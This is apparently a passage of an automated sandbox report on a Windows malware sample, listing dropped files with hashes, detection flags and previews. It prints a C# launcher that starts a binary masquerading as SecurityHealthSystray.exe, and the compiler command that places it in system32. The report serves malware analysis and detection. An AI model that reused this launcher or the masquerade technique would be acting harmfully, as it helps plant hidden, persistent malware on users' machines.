Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vxmfyjyt.dvn.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w2fxjb5r.eil.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wmgvnscj.5br.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbqvet4t.gxv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfxtf2tb.3qo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xvloqrfo.mfv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xvzmhnrc.3ur.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zcozs4ff.cgx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zpipogo2.zi4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zys1x03p.rnv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\dZPhDaUB8o

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.0.cs

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	C++ source, Unicode text, UTF-8 (with BOM) text
Category:	dropped
Size (bytes):	400
Entropy (8bit):	5.096777061681283
Encrypted:	false
SSDEEP:	12:V/DNVgtDIbSf+eBLZ7bfiFkMSf+eBLROQboiFkD:JNVQIbSfhV7TiFkMSfhBFkD
MD5:	7AEFB25CFAB1081A0DFAE7C919DA8CEA
SHA1:	75423FCF7E8FBE7F929FDE26A15E6F1F9F8FB4BD
SHA-256:	4E68BF73EDC1174758E727CEB1D952174E950156161E6665E0BBCF92C234AE83
SHA-512:	EE2CC8DECD8113A2F838CC4CCE6BD7272B2F3D3E14C6E63FE8A0E613F042DCA7065949268BBE0BDB3AEB5DBDAA0074C5C9977A2FEDFD756FD4205AEC7068CB9B
Malicious:	false
Reputation:	unknown
Preview:	.using System.Diagnostics;.using System.Threading;..class Program.{. static void Main(string[] args). {. new Thread(() => { try { Process.Start(@"C:\Windows\system32\SecurityHealthSystray.exe.exe", string.Join(" ", args)); } catch { } }).Start();. new Thread(() => { try { Process.Start(@"C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe"); } catch { } }).Start();. }.}.

C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.cmdline

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	251
Entropy (8bit):	5.080371799236936
Encrypted:	false
SSDEEP:	6:Hu+H2L//1xRT0T79BzxsjGZxWE8o923flAhwn:Hu7L//TRq79cQy9ewn
MD5:	DA66D9EE6156A99785EB8B8CC6A667B0
SHA1:	80A6BDCF25CD22CC23D5A0D923FC77AE95046D2E
SHA-256:	7BC2E914658138591FD1A0B22015F4ABC2B9B97A90DE25254E7B1244F6E02D9D
SHA-512:	4822DDBC818B20B68129FAA8ADE3BA8AFB03AFD1EA4F565A7C6FD95A4ECFDCDC1B7112643111BC4E12D80549B4896698ED10ED8855BDEF708B1DB746093661FF
Malicious:	false
Reputation:	unknown
Preview:	./t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.0.cs"

C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.out

Download File

Process:	C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (369), with CRLF, CR line terminators
Category:	modified
Size (bytes):	790
Entropy (8bit):	5.2362593926705125
Encrypted:	false
SSDEEP:	24:Kj2I/un/Vq79tyHuKax5DqBVKVrdFAMBJTH:pN/Vq2OK2DcVKdBJj
MD5:	F3E9BB5607D85B295052D4549EA5F576
SHA1:	B30377178196A332EE10A743CC4FA328E7263D98
SHA-256:	DBD7F481066CFCF1EBDA03BB0DC767C2F46A80EB9DD43F756B1F8C76F9A75A9D
SHA-512:	B02ABBB0DC377126ABC18772FCA8705F2697A042FB75CB368253EE27E2C8BE5406A5FC24C6060213DC4E5C9233367346F4968926EC7A8658DA400DF8ECF39C33
Malicious:	false
Reputation:	unknown
Preview:	.C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:exe /utf8output /R:"System.dll" /R:"System.Threading.dll" /R:"System.Data.dll" /out:"C:\Windows\system32\SecurityHealthSystray.exe" /debug- /optimize+ /optimize+ /target:winexe /unsafe "C:\Users\user\AppData\Local\Temp\dcil424w\dcil424w.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\drivEn760.exe

Download File

Process:	C:\Users\user\Desktop\wxl1r0lntg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	1885848
Entropy (8bit):	7.972005632645183
Encrypted:	false
SSDEEP:	49152:W45XjhjuyXlt4+3oNBGsCornEsYwmve86irCrHEOP:W45XtjLVt4tJ/pmNHerv
MD5:	5036E609163E98F3AC06D5E82B677DF8
SHA1:	176DB10A4CDA7104F24EECE2D87E1A664B7FB929
SHA-256:	B2AFE799584C913532C673F99ADE45113BF5A5B605A964CE9FA837F563B6FC21
SHA-512:	40C4332E2E4132FC7F3A5F0738A67E7725B329C4A4B0643FBC65F5D1DE3CA4B6BF7374C2A722EA05F01A5E2DDD458344289FDB39BBB092A0B64E63EB168313E4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.................................'Q....@..............................................................(...........................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata... ...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\gJNfjf3zxm

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mKC2iPSTWw

Download File

Process:	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsn474A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	data
Category:	dropped
Size (bytes):	3758248
Entropy (8bit):	7.0206169561348055
Encrypted:	false
SSDEEP:	49152:VmASxQdoNDZW77g1h0lv3o4MyTW+sWxXigRRlmrew1ycDMrf1seuhoeMQVuDvlTe:YpxQf75A4P9Fop4DEoeMRh3i
MD5:	25813C707BB52A7D7B880E7BA6AC78E1
SHA1:	720B2E002F225D15193B094DC47186577817D6DD
SHA-256:	42A5A708AF282C7D2DFCE4498448D191FEE8FF0487EF11F5754769D3CDCF1A2A
SHA-512:	B02EF7D0B347CE3818029FE88047943D349FD8246AE50696684229F21E40AFCC3F01C3C6501E918991884F43836A3F379300E101B89A1F21F42FEF8246B3AFDA
Malicious:	false
Reputation:	unknown
Preview:	.h......,......................., .......9..&...bh......................................................>...................................................................................................................................................................................G...J...........r...f.......................U.......................................g.......................U.......................................................................................................................................................................j.......................U...............................................................................................................(...............U.......................................J...........\...5.......................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Changes.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	19402
Entropy (8bit):	4.6448111269020655
Encrypted:	false
SSDEEP:	384:Z2dVpOQCtRjkp+cF1W2WLg4xGJ4UytZpjMUFQQ5NverB35+:WVpO5FkocF5V48J4UytZpj1FPBkB35+
MD5:	1EBB92AC516DB5077A0C851565B7A2CF
SHA1:	9ADABFBB11B070169429FD43A250285EE8881213
SHA-256:	E64B60048B375F0C7D4C1FB4329957A297F2E60C306EF9C380175EA7A42223D6
SHA-512:	3FBA14D13A602937B8600C7D5CC8011F7369857BE288510B142573E411B2296CDB3CE58BEAFDF268D04AA1C5130503A63BA38F87239FC7B0BE2E0170BDFC86DE
Malicious:	false
Reputation:	unknown
Preview:	Wednesday, 10 May 2023: Version 1.4.1.1023...fixed a security issue with the HTTP server....fixed an issue with empty EFU items.....Monday, 10 October 2022: Version 1.4.1.1022...fixed a crash when loading a preview failed.....Monday, 3 October 2022: Version 1.4.1.1021...fixed a security issue with using an insecure http connection to check for updates....fixed an issue with preventing devices from being safely removed.....Thursday, 8 September 2022: Version 1.4.1.1020...updated localization....fixed a security issue with using an insecure http connection to open the download page.....Wednesday, 17 August 2022: Version 1.4.1.1018...fixed an issue with the MSI installer and removing previous versions.....Friday, 20 May 2022: Version 1.4.1.1017...updated localization....fixed an issue with incrementing search history count when opening a bookmark.....Friday, 17 December 2021: Version 1.4.1.1015...fixed an encoding issue with translations.....Thursday, 16 December 2021: Version 1.4.1.1014.

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2265096
Entropy (8bit):	6.5533817908737655
Encrypted:	false
SSDEEP:	49152:GQdoNDZW77g1h0lv3o4MyTW+sWxXigRRlmrK:GQf75A4P9Fo+
MD5:	0170601E27117E9639851A969240B959
SHA1:	7A4AEE1910B84C6715C465277229740DFC73FA39
SHA-256:	35CEFE4BC4A98AD73DDA4444C700AAC9F749EFDE8F9DE6A643A57A5B605BD4E7
SHA-512:	3C24FA02621B78C5DDAF1AD9523045E9FA7CCC02D85A0342E8FAAFC31BE2A3154558D3CEFCD9AE8721973FB01450AB36E6BB75A1B95FCC485A4B919F20A2202F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........E.u.$.&.$.&.$.&..&.$.&..&.$.&...&.$.&...&.$.&.$.&.%.&..&u$.&..&.$.&..&.$.&Rich.$.&................PE..d...u.od.........."..........x................@..............................".....I."...@...........................................................!......!.D....h"..(...."......................................................................................text...>........................... ..`.rdata..............................@..@.data...(6..........................@....pdata..D.....!....... .............@..@.rsrc........!.......!.............@..@.reloc...1...."..2...6".............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.lng

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	QuArk archive data
Category:	dropped
Size (bytes):	934469
Entropy (8bit):	7.985150006883096
Encrypted:	false
SSDEEP:	24576:9Uj10cDM1+8NnWk1Gmdo3eZWDmehoenMUjV7KDvl0CJ2G:YycDMrf1seuhoeMQVuDvlTJL
MD5:	BA118BDF7118802BEEA188727B155D5F
SHA1:	20FE923EC91D13F03BDB171DF2FE54772F86EBBA
SHA-256:	270C2DBD55642543479C7E7E62F99EC11BBC65496010B1354A2BE9482269D471
SHA-512:	01D8DD2BF9AA251512B6B9B47E9D966B7EDA5F76302E6441C5E7110FF37B4BE325A4F8096DF26A140C67BD740DCD720BC4E9356CCB95703AD63FE9FDBBB0C41F
Malicious:	false
Reputation:	unknown
Preview:	7.......BZh91AY&SY.eg...........~..?{.....t.........Y....X.@..scu....H......P..h4. ........4...h.....@..m ....#FF!...4.......A.M..........4.......jm&M&.&....i.. ..L.LO$..0... .&!.#..4.2d.&L...0..h... ).mF.F.4..P.=@i..4..=A...............44.=A...@f4.!.'.6..!.Ex.Q.....J..B....)..!.<.T.rd.....u..HlI2.1.....@d.d,..2..R...(.....n1.._x....... ...#E.Y..>.o,..~F....^.D.dk. ......H...$...$....]...F.....4....BiCr... ._i...<.NQ....].L.#.;...;E...;...LE....Y........5.K.r.... ,..\|.J0.....6....#.DfBV....j...#..@}.....Ze]..!.xQ.T....B........i..6M...M.Eq"5.w.h.n..8...+.{.....e`.....;.p5..=j]o.`.\|IC....QXUp......}....1..T.>A)......F...Y8..d$....R.-m.?..$DL.P..0..r.....#...#.y..E..F.g&B.3.Xn......h.[%l.n.. C)j.../`T..,..6........N.4QS.5a...Q...r.g..+.......8..B..tSWbSc.S!.......pD..j..80.....(.-....%.$a>..A....?9).jJ.lt.....B.>1..].n...pS...{.f.....p.R.#..H.:.cE.....@a..6!..jz)...O..!..*..$.d....n..A..6.Pdi.>...&<WT..$.i..LI...Tk..'.fp.02A....c.A.'{..`5LY..EN

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\License.txt

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (754), with CRLF line terminators
Category:	dropped
Size (bytes):	2611
Entropy (8bit):	5.156615896081089
Encrypted:	false
SSDEEP:	48:d6b8JplPvEDTQHcs5ITc3omFpNOOrYJwrYJzSEpPD0432sBp32s3Etm13t6THy:dPsvQHnodOrYJwrYJzSEhn3b3z9ITS
MD5:	2D8C6B891BEA32E7FA64B381CF3064C2
SHA1:	495396D86C96FB1CFDF56CAE7658149138056AA9
SHA-256:	2E017A9C091CF5293E978E796C81025DAB6973AF96CB8ACD56A04EF29703550B
SHA-512:	03A520F4423DA5EF158FB81C32CFFF0DEF361CC4D2CAA9CFA4D306136DA047A80A6931249A6B9C42F9F2656A27391B7921A64E10BAA7468C255BC48BD488A860
Malicious:	false
Reputation:	unknown
Preview:	...Everything....Copyright (c) 2023 voidtools....Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:....The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.....THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR

C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	140122
Entropy (8bit):	6.897821587158416
Encrypted:	false
SSDEEP:	3072:lfY/TU9fE9PEtuSWKBAkae31mgjrzElPZdzEB3PlhsEP4f0nlJaosDF:pYa6IZCpe31mgjr4FZuNlhs0lJvsp
MD5:	9619F283A8809F06D9F25818DF792798
SHA1:	C959694843937043B09DA5189D50553AA6C24A6E
SHA-256:	F5E05A0AFC32604D961F2C1B8E500D33018718C3A1D47CBC3F4A98FE0D0E9CA8
SHA-512:	CD84EB50FC8AD582E5B60F1FED3174564EF356673F6DBC71E14A8F07BAA7EFA28EC434AAA9594460364A15C006FA4C56CE27D58D687DCC765FE07D5CAAA3B73E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.................................'Q....@..............................................................(...........................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata... ...............................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss476A.tmp\InstallOptions.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.471852540236525
Encrypted:	false
SSDEEP:	384:EXsC43tPegZ3eBaRwCPOYY7nNYXC06/Yosa:EXJTgZ3eBTCmrnNA5p
MD5:	ECE25721125D55AA26CDFE019C871476
SHA1:	B87685AE482553823BF95E73E790DE48DC0C11BA
SHA-256:	C7FEF6457989D97FECC0616A69947927DA9D8C493F7905DC8475C748F044F3CF
SHA-512:	4E384735D03C943F5EB3396BB3A9CB42C9D8A5479FE2871DE5B8BC18DB4BBD6E2C5F8FD71B6840512A7249E12A1C63E0E760417E4BAA3DC30F51375588410480
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......N.px.q.+.q.+.q.+.q.+[q.+.~C+.q.+^R.+.q.+^R/+.q.+.w.+.q.+.Q.+.q.+Rich.q.+........PE..L....Oa...........!.........`.......+.......0............................................@..........................8......X1..................................X....................................................0..X............................text............................... ..`.rdata..G....0......."..............@..@.data...DL...@.......,..............@....rsrc................6..............@..@.reloc..x............8..............@..B........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss476A.tmp\InstallOptions.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\drivEn760.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1710
Entropy (8bit):	3.5521822919734736
Encrypted:	false
SSDEEP:	48:rsX3R0m9w6IwK4tiUHLQwKs/jw/wLhSw3MaM:rsnuCo4tBgsGMTM
MD5:	334258A9E7352CE7485B6A2EED5E63C8
SHA1:	3B105724E7E555346F467EB801D5914457C4A191
SHA-256:	3E350FE24EB90E8012239AA594882F53C31B5CD1D33DE2CFBC1582C1D4CD28D2
